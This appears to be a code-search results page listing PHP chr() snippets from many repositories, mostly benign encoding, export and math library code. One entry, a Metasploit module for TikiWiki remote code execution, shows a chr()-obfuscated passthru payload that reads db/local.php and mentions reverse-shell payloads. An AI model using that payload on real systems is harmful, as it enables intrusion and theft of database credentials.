PageRenderTime 289ms queryFilters 41ms Sphinxql 333ms GetByIds 539ms meta 0ms repositoryFilters 125ms languageFilters 1ms sourceFilters 60ms

56,310 results for 'php chr repo:paanblogger/sacl' (289 ms)

Source

Language

Repository

debitor.php https://github.com/nielsrune/saldi.git | PHP | 417 lines
75		$box3="kontonr".chr(9)."firmanavn".chr(9)."addr1".chr(9)."addr2".chr(9)."postnr".chr(9)."bynavn".chr(9)."kontakt".chr(9)."tlf".chr(9)."kontoansvarlig";
76		$box5="right".chr(9)."left".chr(9)."left".chr(9)."left".chr(9)."left".chr(9)."left".chr(9)."left".chr(9)."left".chr(9)."left";
77		$box4="5".chr(9)."35".chr(9)."10".chr(9)."10".chr(9)."10".chr(9)."10".chr(9)."10".chr(9)."10".chr(9)."10";
77		$box4="5".chr(9)."35".chr(9)."10".chr(9)."10".chr(9)."10".chr(9)."10".chr(9)."10".chr(9)."10".chr(9)."10";
78		$box6="Kontonr".chr(9)."Firmanavn".chr(9)."Adresse".chr(9)."Adresse 2".chr(9)."Postnr".chr(9)."By".chr(9)."Kontakt".chr(9)."Telefon".chr(9)."Sælger";
79	} else {
79	} else {
80		$box3="kontonr".chr(9)."firmanavn".chr(9)."addr1".chr(9)."addr2".chr(9)."postnr".chr(9)."bynavn".chr(9)."kontakt".chr(9)."tlf".chr(9)."kontoansvarlig";
81		$box5="right".chr(9)."left".chr(9)."left".chr(9)."left".chr(9)."left".chr(9)."left".chr(9)."left".chr(9)."left".chr(9)."left";
81		$box5="right".chr(9)."left".chr(9)."left".chr(9)."left".chr(9)."left".chr(9)."left".chr(9)."left".chr(9)."left".chr(9)."left";
82		$box4="5".chr(9)."35".chr(9)."10".chr(9)."10".chr(9)."10".chr(9)."10".chr(9)."10".chr(9)."10".chr(9)."10";
83		$box6="Kontonr".chr(9)."Firmanavn".chr(9)."Adresse".chr(9)."Adresse 2".chr(9)."Postnr".chr(9)."By".chr(9)."Kontakt".chr(9)."Telefon".chr(9)."Sælger";
130#if ($popup) {
131#		print "<td width=5% $top_bund onClick=\"javascript:debitor=window.open('debitorkort.php?returside=debitor.php','ordre','scrollbars=1,resizable=1');ordre.focus();\"><a accesskey=N href=debitor.php?sort=$sort>Ny</a></td>\n";
132#	} else {
charsets.php https://github.com/eyeswebcrea/espace-couture-sittler.fr.git | PHP | 787 lines
106	if (!$pcre_ok) {
107		$s = " ".chr(195).chr(169)."t".chr(195).chr(169)." ";
108		if (preg_match(',\W...\W,u', $s)) $pcre_ok = 1;
497	if($num<65536)
498		return chr(($num>>12)+224).chr((($num>>6)&63)+128).chr(($num&63)+128);
499	if($num<1114112)
499	if($num<1114112)
500		return chr($num>>18+240).chr((($num>>12)&63)+128).chr(($num>>6)&63+128). chr($num&63+128);
501	return '';
616function bom_utf8($texte) {
617	return (substr($texte, 0,3) == chr(0xEF).chr(0xBB).chr(0xBF));
618}
774// dans les preg_replace pour ne pas casser certaines lettres accentuees :
775// en utf-8 chr(195).chr(160) = a` alors qu'en iso-latin chr(160) = nbsp
776if (!isset($GLOBALS['meta']['pcre_u'])
tikiwiki_graph_formula_exec.rb https://github.com/Jonono2/metasploit-framework.git | Ruby | 228 lines
14    super(update_info(info,
15      'Name'           => 'TikiWiki tiki-graph_formula Remote PHP Code Execution',
16      'Description'    => %q{
94    url_db_local = build_uri("passthru(" +
95      "chr(101).chr(99).chr(104).chr(111).chr(32).chr(89).chr(89).chr(89)." +  # echo YYY
96      "chr(59)." +  # ;
97      # cat db/local.php
98      "chr(99).chr(97).chr(116).chr(32).chr(100).chr(98).chr(47).chr(108).chr(111).chr(99).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112)." +
99      "chr(59)." +  # ;
99      "chr(59)." +  # ;
100      "chr(101).chr(99).chr(104).chr(111).chr(32).chr(89).chr(89).chr(89)" +   # echo YYY
101      ")")
206    # This doesn't seem to be necessary on PHP 5.2.4, tikiwiki 1.9.5
207    # Tested with php/reverse_php, php/meterpreter_reverse_tcp, and
208    # php/meterpreter/reverse_tcp
class.pdf.php https://github.com/timschofield/2.8.git | PHP | 3,101 lines
1044      // figure out the additional paramaters required
1045      $pad = chr(0x28).chr(0xBF).chr(0x4E).chr(0x5E).chr(0x4E).chr(0x75).chr(0x8A).chr(0x41).chr(0x64).chr(0x00).chr(0x4E).chr(0x56).chr(0xFF).chr(0xFA).chr(0x01).chr(0x08).chr(0x2E).chr(0x2E).chr(0x00).chr(0xB6).chr(0xD0).chr(0x68).chr(0x3E).chr(0x80).chr(0x2F).chr(0x0C).chr(0xA9).chr(0xFE).chr(0x64).chr(0x53).chr(0x69).chr(0x7A);
1046      $len = strlen($options['owner']);
1067      // now make the u value, phew.
1068      $tmp = $this->md5_16($user.$ovalue.chr($options['p']).chr(255).chr(255).chr(255).$this->fileIdentifier);
1069      $ukey = substr($tmp,0,5);
1123  }
1124  $tmp.= chr(hexdec(substr($hex,4,2))).chr(hexdec(substr($hex,2,2))).chr(hexdec(substr($hex,0,2))).chr(0).chr(0);
1125  $key = $this->md5_16($tmp);
1341  if (file_exists($dir.'php_'.$name.'.afm')){
1342    $this->addMessage('openFont: php file exists '.$dir.'php_'.$name.'.afm');
1343    $tmp = file($dir.'php_'.$name.'.afm');
2676  if (!$error){
2677    $header = chr(137).chr(80).chr(78).chr(71).chr(13).chr(10).chr(26).chr(10);
2678    if (substr($data,0,8)!=$header){
exporter_debitor.php https://github.com/nielsrune/saldi.git | PHP | 95 lines
35
36if (fwrite($fp,"kontonr".chr(9)."firmanavn".chr(9)."addr1".chr(9)."addr2".chr(9)."postnr".chr(9)."bynavn".chr(9)."land".chr(9)."kontakt".chr(9)."tlf".chr(9)."fax".chr(9)."email".chr(9)."web".chr(9)."notes".chr(9)."kreditmax".chr(9)."betalingsbet".chr(9)."betalingsdage".chr(9)."cvrnr".chr(9)."ean".chr(9)."institution".chr(9)."gruppe".chr(9)."kontoansvarlig".chr(9)."oprettet".chr(9)."kontakt_navn".chr(9)."kontakt_addr1".chr(9)."kontakt_addr2".chr(9)."kontakt_postnr".chr(9)."kontakt_bynavn".chr(9)."kontakt_tlf".chr(9)."kontakt_fax".chr(9)."kontakt_email".chr(9)."kontakt_notes]\r\n")) {
37	$q=db_select("select * from adresser where art='D' order by kontonr",__FILE__ . " linje " . __LINE__);
46		
47		$tmp1=str_replace("\n","\\n",$r[kontonr].chr(9).chr(32).$r[firmanavn].chr(32).chr(9).chr(32).$r[addr1].chr(32).chr(9).chr(32).$r[addr2].chr(32).chr(9).chr(32).$r[postnr].chr(32).chr(9).chr(32).$r[bynavn].chr(32).chr(9).chr(32).$r[land].chr(32).chr(9).chr(32).$r[kontakt].chr(32).chr(9).chr(32).$r[tlf].chr(32).chr(9).chr(32).$r[fax].chr(32).chr(9).chr(32).$r[email].chr(32).chr(9).chr(32).$r[web].chr(32).chr(9).chr(32).$r[notes].chr(32).chr(9).$kreditmax.chr(9).chr(32).$r[betalingsbet].chr(32).chr(9).$r[betalingsdage].chr(9).chr(32).$r[cvrnr].chr(32).chr(9).chr(32).$r[ean].chr(32).chr(9).chr(32).$r[institution].chr(32).chr(9).$r[gruppe].chr(9).chr(32).$kontoansvarlig.chr(32).chr(9).chr(32).$oprettet);
48		$tmp1=str_replace("\r","\\r",$tmp1);
52			$ansatte++;
53			$tmp2=str_replace("\n","\\n",$r2[navn].chr(32).chr(9).chr(32).$r2[addr1].chr(32).chr(9).chr(32).$r2[addr2].chr(32).chr(9).chr(32).$r2[postnr].chr(32).chr(9).chr(32).$r2[bynavn].chr(32).chr(9).chr(32).$r2[tlf].chr(32).chr(9).chr(32).$r2[fax].chr(32).chr(9).chr(32).$r2[email].chr(32).chr(9).chr(32).$r2[notes]);
54			$tmp2=str_replace("\r","\\r",$tmp2);
55		if ($charset=='UTF-8') $tmp2=utf8_decode($tmp2);
56			$linje=$tmp1.chr(32).chr(9).chr(32).$tmp2;
57			fwrite($fp, $linje."\r\n");
59		if (!$ansatte) {
60			$linje=$tmp1.chr(32).chr(9).chr(32).chr(32).chr(9).chr(32).chr(32).chr(9).chr(32).chr(32).chr(9).chr(32).chr(32).chr(9).chr(32).chr(32).chr(9).chr(32).chr(32).chr(9).chr(32).chr(32).chr(9).chr(32).chr(32).chr(9).chr(32);
61			fwrite($fp, $linje."\r\n");
xml2pdf.barcode.code39.php https://github.com/ericmaicon/jasperToPHP.git | PHP | 305 lines
236        $encode = array(
237            chr(0) => '%U', chr(1) => '$A', chr(2) => '$B', chr(3) => '$C',
238            chr(4) => '$D', chr(5) => '$E', chr(6) => '$F', chr(7) => '$G',
238            chr(4) => '$D', chr(5) => '$E', chr(6) => '$F', chr(7) => '$G',
239            chr(8) => '$H', chr(9) => '$I', chr(10) => '$J', chr(11) => 'ŁK',
240            chr(12) => '$L', chr(13) => '$M', chr(14) => '$N', chr(15) => '$O',
263            chr(104) => '+H', chr(105) => '+I', chr(106) => '+J', chr(107) => '+K',
264            chr(108) => '+L', chr(109) => '+M', chr(110) => '+N', chr(111) => '+O',
265            chr(112) => '+P', chr(113) => '+Q', chr(114) => '+R', chr(115) => '+S',
265            chr(112) => '+P', chr(113) => '+Q', chr(114) => '+R', chr(115) => '+S',
266            chr(116) => '+T', chr(117) => '+U', chr(118) => '+V', chr(119) => '+W',
267            chr(120) => '+X', chr(121) => '+Y', chr(122) => '+Z', chr(123) => '%P',
267            chr(120) => '+X', chr(121) => '+Y', chr(122) => '+Z', chr(123) => '%P',
268            chr(124) => '%Q', chr(125) => '%R', chr(126) => '%S', chr(127) => '%T');
269
getid3.lib.php https://github.com/michael-cannon/typo3-extensions.git | PHP | 1,427 lines
1<?php
2/////////////////////////////////////////////////////////////////
18//                                                             //
19// PHP Hack by Filipe Laborde-Basto Oct 21/2000                //
20// FREELY DISTRIBUTABLE -- use at your sole discretion! :)     //
338			$quotient = ($number / ($maskbyte + 1));
339			$intstring = chr(ceil(($quotient - floor($quotient)) * $maskbyte)).$intstring;
340			$number = floor($quotient);
380		for ($i = 0; $i < strlen($binstringreversed); $i += 8) {
381			$string = chr(getid3_lib::Bin2Dec(strrev(substr($binstringreversed, $i, 8)))).$string;
382		}
390			if ($synchsafe) {
391				$intstring = $intstring.chr($number & 127);
392				$number >>= 7;
403		// written by kcŘhireability*com
404		// taken from http://www.php.net/manual/en/function.array-merge-recursive.php
405		if (!is_array($array1) || !is_array($array2)) {
BigInteger.php https://github.com/kea/phpseclib.git | PHP | 3,656 lines
544                    $temp = bcmod($current, '16777216');
545                    $value = chr($temp >> 16) . chr($temp >> 8) . chr($temp) . $value;
546                    $current = bcdiv($current, '16777216', 0);
736     * Although you can call Math_BigInteger::__toString() directly in PHP5, you cannot call Math_BigInteger::__clone()
737     * directly in PHP5.  You can in PHP4 since it's not a magic method, but in PHP5, you have to call it by using the PHP5
738     * only syntax of $y = clone $x.  As such, if you're trying to write an application that works on both PHP4 and PHP5,
2875        // generate as many leading 1's as we need to.
2876        $leading_ones = chr((1 << ($new_bits & 0x7)) - 1) . str_repeat(chr(0xFF), $new_bits >> 3);
2877        $this->_base256_lshift($leading_ones, $current_bits);
2984            $precision = 8 * strlen($bits) - 8 + $i;
2985            $mask = chr((1 << ($precision & 0x7)) - 1) . str_repeat(chr(0xFF), $precision >> 3);
2986        }
3129
3130        // gmp_nextprime() requires PHP 5 >= 5.2.0 per <http://php.net/gmp-nextprime>.
3131        if ( self::$mode == self::MODE_GMP && function_exists('gmp_nextprime') ) {
BigInteger.php https://github.com/sezuan/core.git | PHP | 3,633 lines
528                    $temp = bcmod($current, '16777216');
529                    $value = chr($temp >> 16) . chr($temp >> 8) . chr($temp) . $value;
530                    $current = bcdiv($current, '16777216', 0);
720     * Although you can call Math_BigInteger::__toString() directly in PHP5, you cannot call Math_BigInteger::__clone()
721     * directly in PHP5.  You can in PHP4 since it's not a magic method, but in PHP5, you have to call it by using the PHP5
722     * only syntax of $y = clone $x.  As such, if you're trying to write an application that works on both PHP4 and PHP5,
2852        // generate as many leading 1's as we need to.
2853        $leading_ones = chr((1 << ($new_bits & 0x7)) - 1) . str_repeat(chr(0xFF), $new_bits >> 3);
2854        $this->_base256_lshift($leading_ones, $current_bits);
2961            $precision = 8 * strlen($bits) - 8 + $i;
2962            $mask = chr((1 << ($precision & 0x7)) - 1) . str_repeat(chr(0xFF), $precision >> 3);
2963        }
3107
3108        // gmp_nextprime() requires PHP 5 >= 5.2.0 per <http://php.net/gmp-nextprime>.
3109        if ( MATH_BIGINTEGER_MODE == MATH_BIGINTEGER_MODE_GMP && function_exists('gmp_nextprime') ) {
AMFSerializer.php https://github.com/christoff/as3-youtube-data-api.git | PHP | 1,048 lines
587			}
588			else if(AMFPHP_PHP5 && $className == 'domdocument')
589			{
786		{
787			$this->outBuffer .= chr($d >> 14 & 0x7f | 0x80) . chr($d >> 7 & 0x7f | 0x80) . chr($d & 0x7f);
788		} 
950		{
951			return chr($d >> 7 & 0x7f | 0x80) . chr($d & 0x7f);
952		}
954		{
955			return chr($d >> 14 & 0x7f | 0x80) . chr($d >> 7 & 0x7f | 0x80) . chr($d & 0x7f);
956		} 
958		{
959			return chr($d >> 22 & 0x7f | 0x80) . chr($d >> 15 & 0x7f | 0x80) . 
960				   chr($d >> 8 & 0x7f | 0x80) . chr($d & 0xff);
Transliterator.php https://github.com/m4rkw/env.git | PHP | 428 lines
176            .chr(159).chr(162).chr(165).chr(181).chr(192).chr(193).chr(194)
177            .chr(195).chr(196).chr(197).chr(199).chr(200).chr(201).chr(202)
178            .chr(203).chr(204).chr(205).chr(206).chr(207).chr(209).chr(210)
178            .chr(203).chr(204).chr(205).chr(206).chr(207).chr(209).chr(210)
179            .chr(211).chr(212).chr(213).chr(214).chr(216).chr(217).chr(218)
180            .chr(219).chr(220).chr(221).chr(224).chr(225).chr(226).chr(227)
180            .chr(219).chr(220).chr(221).chr(224).chr(225).chr(226).chr(227)
181            .chr(228).chr(229).chr(231).chr(232).chr(233).chr(234).chr(235)
182            .chr(236).chr(237).chr(238).chr(239).chr(241).chr(242).chr(243)
182            .chr(236).chr(237).chr(238).chr(239).chr(241).chr(242).chr(243)
183            .chr(244).chr(245).chr(246).chr(248).chr(249).chr(250).chr(251)
184            .chr(252).chr(253).chr(255);
188            $string = strtr($string, $chars['in'], $chars['out']);
189            $doubleChars['in'] = array(chr(140), chr(156), chr(198), chr(208), chr(222), chr(223), chr(230), chr(240), chr(254));
190            $doubleChars['out'] = array('OE', 'oe', 'AE', 'DH', 'TH', 'ss', 'ae', 'dh', 'th');
class.t3lib_cs.php https://github.com/ndenmeade/moodle.git | PHP | 2,368 lines
195	var $lang_to_script = array(
196			// iso-639-1 language codes, see http://www.loc.gov/standards/iso639-2/php/code_list.php
197		'af' => 'west_european', //Afrikaans
751							if ($mByte > 255) { // If the local number is greater than 255 we will need to split the byte (16bit word assumed) in two chars.
752								$outStr .= chr(($mByte >> 8) & 255) . chr($mByte & 255);
753							} else {
819		// see http://php.net/manual/en/function.get-html-translation-table.php
820		$applyPhpCompatibilityFix = version_compare(phpversion(), '5.3.4', '<');
821
1394		for ($i = ord('a'); $i <= ord('z'); $i++) {
1395			$this->caseFolding[$charset]['toUpper'][chr($i)] = chr($i - 32);
1396		}
1397		for ($i = ord('A'); $i <= ord('Z'); $i++) {
1398			$this->caseFolding[$charset]['toLower'][chr($i)] = chr($i + 32);
1399		}
getid3.lib.php https://bitbucket.org/acipriani/madeinapulia.com | PHP | 1,376 lines
85			if (!$hasINT64 && !defined('PHP_INT_MIN')) {
86				define('PHP_INT_MIN', ~PHP_INT_MAX);
87			}
89		// if integers are 64-bit - no other check required
90		if ($hasINT64 || (($num <= PHP_INT_MAX) && ($num >= PHP_INT_MIN))) {
91			return true;
385		// written by kcØhireability*com
386		// taken from http://www.php.net/manual/en/function.array-merge-recursive.php
387		if (!is_array($array1) || !is_array($array2)) {
1343		if (GETID3_OS_ISWINDOWS) {
1344			if (class_exists('COM')) { // From PHP 5.3.15 and 5.4.5, COM and DOTNET is no longer built into the php core.you have to add COM support in php.ini:
1345				$filesystem = new COM('Scripting.FileSystemObject');
1365	/**
1366	* Workaround for Bug #37268 (https://bugs.php.net/bug.php?id=37268)
1367	* @param string $path A path.
BigInteger.php https://bitbucket.org/Kamor/nexway.git | PHP | 3,752 lines
573                    $temp = bcmod($current, '16777216');
574                    $value = chr($temp >> 16) . chr($temp >> 8) . chr($temp) . $value;
575                    $current = bcdiv($current, '16777216', 0);
765     * Although you can call Math_BigInteger::__toString() directly in PHP5, you cannot call Math_BigInteger::__clone()
766     * directly in PHP5.  You can in PHP4 since it's not a magic method, but in PHP5, you have to call it by using the PHP5
767     * only syntax of $y = clone $x.  As such, if you're trying to write an application that works on both PHP4 and PHP5,
2906        // generate as many leading 1's as we need to.
2907        $leading_ones = chr((1 << ($new_bits & 0x7)) - 1) . str_repeat(chr(0xFF), $new_bits >> 3);
2908        $this->_base256_lshift($leading_ones, $current_bits);
3015            $precision = 8 * strlen($bits) - 8 + $i;
3016            $mask = chr((1 << ($precision & 0x7)) - 1) . str_repeat(chr(0xFF), $precision >> 3);
3017        }
3222
3223        // gmp_nextprime() requires PHP 5 >= 5.2.0 per <http://php.net/gmp-nextprime>.
3224        if ( MATH_BIGINTEGER_MODE == MATH_BIGINTEGER_MODE_GMP && function_exists('gmp_nextprime') ) {
getid3.lib.php https://bitbucket.org/Thane2376/death-edge.ru.git | PHP | 1,342 lines
84			if (!$hasINT64 && !defined('PHP_INT_MIN')) {
85				define('PHP_INT_MIN', ~PHP_INT_MAX);
86			}
88		// if integers are 64-bit - no other check required
89		if ($hasINT64 || (($num <= PHP_INT_MAX) && ($num >= PHP_INT_MIN))) {
90			return true;
385		// written by kcØhireability*com
386		// taken from http://www.php.net/manual/en/function.array-merge-recursive.php
387		if (!is_array($array1) || !is_array($array2)) {
665			$newcharstring  = chr(($charval >>   6) | 0xC0);
666			$newcharstring .= chr(($charval & 0x3F) | 0x80);
667		} elseif ($charval < 65536) {
1322		if (GETID3_OS_ISWINDOWS) {
1323			if (class_exists('COM')) { // From PHP 5.3.15 and 5.4.5, COM and DOTNET is no longer built into the php core.you have to add COM support in php.ini:
1324				$filesystem = new COM('Scripting.FileSystemObject');
getid3.lib.php https://bitbucket.org/Sanek_OS9/dcms-24.git | PHP | 1,380 lines
85			if (!$hasINT64 && !defined('PHP_INT_MIN')) {
86				define('PHP_INT_MIN', ~PHP_INT_MAX);
87			}
89		// if integers are 64-bit - no other check required
90		if ($hasINT64 || (($num <= PHP_INT_MAX) && ($num >= PHP_INT_MIN))) {
91			return true;
385		// written by kcØhireability*com
386		// taken from http://www.php.net/manual/en/function.array-merge-recursive.php
387		if (!is_array($array1) || !is_array($array2)) {
1346		if (GETID3_OS_ISWINDOWS) {
1347			if (class_exists('COM')) { // From PHP 5.3.15 and 5.4.5, COM and DOTNET is no longer built into the php core.you have to add COM support in php.ini:
1348				$filesystem = new COM('Scripting.FileSystemObject');
1368	/**
1369	* Workaround for Bug #37268 (https://bugs.php.net/bug.php?id=37268)
1370	* @param string $path A path.
BigInteger.class.php https://bitbucket.org/ronaldobrandini/framework.git | PHP | 3,609 lines
477                    $temp = bcmod($current, '16777216');
478                    $value = chr($temp >> 16) . chr($temp >> 8) . chr($temp) . $value;
479                    $current = bcdiv($current, '16777216', 0);
664     * Although you can call BigInteger::__toString() directly in PHP5, you cannot call BigInteger::__clone()
665     * directly in PHP5.  You can in PHP4 since it's not a magic method, but in PHP5, you have to call it by using the PHP5
666     * only syntax of $y = clone $x.  As such, if you're trying to write an application that works on both PHP4 and PHP5,
2756        // generate as many leading 1's as we need to.
2757        $leading_ones = chr((1 << ($new_bits & 0x7)) - 1) . str_repeat(chr(0xFF), $new_bits >> 3);
2758        $this->_base256_lshift($leading_ones, $current_bits);
2863            $precision = 8 * strlen($bits) - 8 + $i;
2864            $mask = chr((1 << ($precision & 0x7)) - 1) . str_repeat(chr(0xFF), $precision >> 3);
2865        }
3066
3067        // gmp_nextprime() requires PHP 5 >= 5.2.0 per <http://php.net/gmp-nextprime>.
3068        if(MATH_BIGINTEGER_MODE == MATH_BIGINTEGER_MODE_GMP && function_exists('gmp_nextprime')){
Urlizer.php https://github.com/mrosiu/DoctrineExtensions.git | PHP | 425 lines
173            .chr(159).chr(162).chr(165).chr(181).chr(192).chr(193).chr(194)
174            .chr(195).chr(196).chr(197).chr(199).chr(200).chr(201).chr(202)
175            .chr(203).chr(204).chr(205).chr(206).chr(207).chr(209).chr(210)
175            .chr(203).chr(204).chr(205).chr(206).chr(207).chr(209).chr(210)
176            .chr(211).chr(212).chr(213).chr(214).chr(216).chr(217).chr(218)
177            .chr(219).chr(220).chr(221).chr(224).chr(225).chr(226).chr(227)
177            .chr(219).chr(220).chr(221).chr(224).chr(225).chr(226).chr(227)
178            .chr(228).chr(229).chr(231).chr(232).chr(233).chr(234).chr(235)
179            .chr(236).chr(237).chr(238).chr(239).chr(241).chr(242).chr(243)
179            .chr(236).chr(237).chr(238).chr(239).chr(241).chr(242).chr(243)
180            .chr(244).chr(245).chr(246).chr(248).chr(249).chr(250).chr(251)
181            .chr(252).chr(253).chr(255);
185            $string = strtr($string, $chars['in'], $chars['out']);
186            $doubleChars['in'] = array(chr(140), chr(156), chr(198), chr(208), chr(222), chr(223), chr(230), chr(240), chr(254));
187            $doubleChars['out'] = array('OE', 'oe', 'AE', 'DH', 'TH', 'ss', 'ae', 'dh', 'th');
Cast.php https://github.com/bigtunacan/quickbooks-php.git | PHP | 647 lines
1<?php
2
9 * which accompanies this distribution, and is available at
10 * http://www.opensource.org/licenses/eclipse-1.0.php
11 * 
49		$replace = array(
50			chr(129) => 'u', 
51			chr(130) => 'e', 
51			chr(130) => 'e', 
52			chr(131) => 'a', 
53			chr(132) => 'a', 
53			chr(132) => 'a', 
54			chr(133) => 'a',
55			chr(134) => 'a',
55			chr(134) => 'a',
56			chr(136) => 'e', 
57			chr(137) => 'e', 
BigInteger.php https://github.com/AmaniYunge/greenWeb.git | PHP | 3,707 lines
575                    $temp = bcmod($current, '16777216');
576                    $value = chr($temp >> 16) . chr($temp >> 8) . chr($temp) . $value;
577                    $current = bcdiv($current, '16777216', 0);
767     * Although you can call Math_BigInteger::__toString() directly in PHP5, you cannot call Math_BigInteger::__clone()
768     * directly in PHP5.  You can in PHP4 since it's not a magic method, but in PHP5, you have to call it by using the PHP5
769     * only syntax of $y = clone $x.  As such, if you're trying to write an application that works on both PHP4 and PHP5,
2899        // generate as many leading 1's as we need to.
2900        $leading_ones = chr((1 << ($new_bits & 0x7)) - 1) . str_repeat(chr(0xFF), $new_bits >> 3);
2901        $this->_base256_lshift($leading_ones, $current_bits);
3008            $precision = 8 * strlen($bits) - 8 + $i;
3009            $mask = chr((1 << ($precision & 0x7)) - 1) . str_repeat(chr(0xFF), $precision >> 3);
3010        }
3200
3201        // gmp_nextprime() requires PHP 5 >= 5.2.0 per <http://php.net/gmp-nextprime>.
3202        if ( MATH_BIGINTEGER_MODE == MATH_BIGINTEGER_MODE_GMP && function_exists('gmp_nextprime') ) {
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21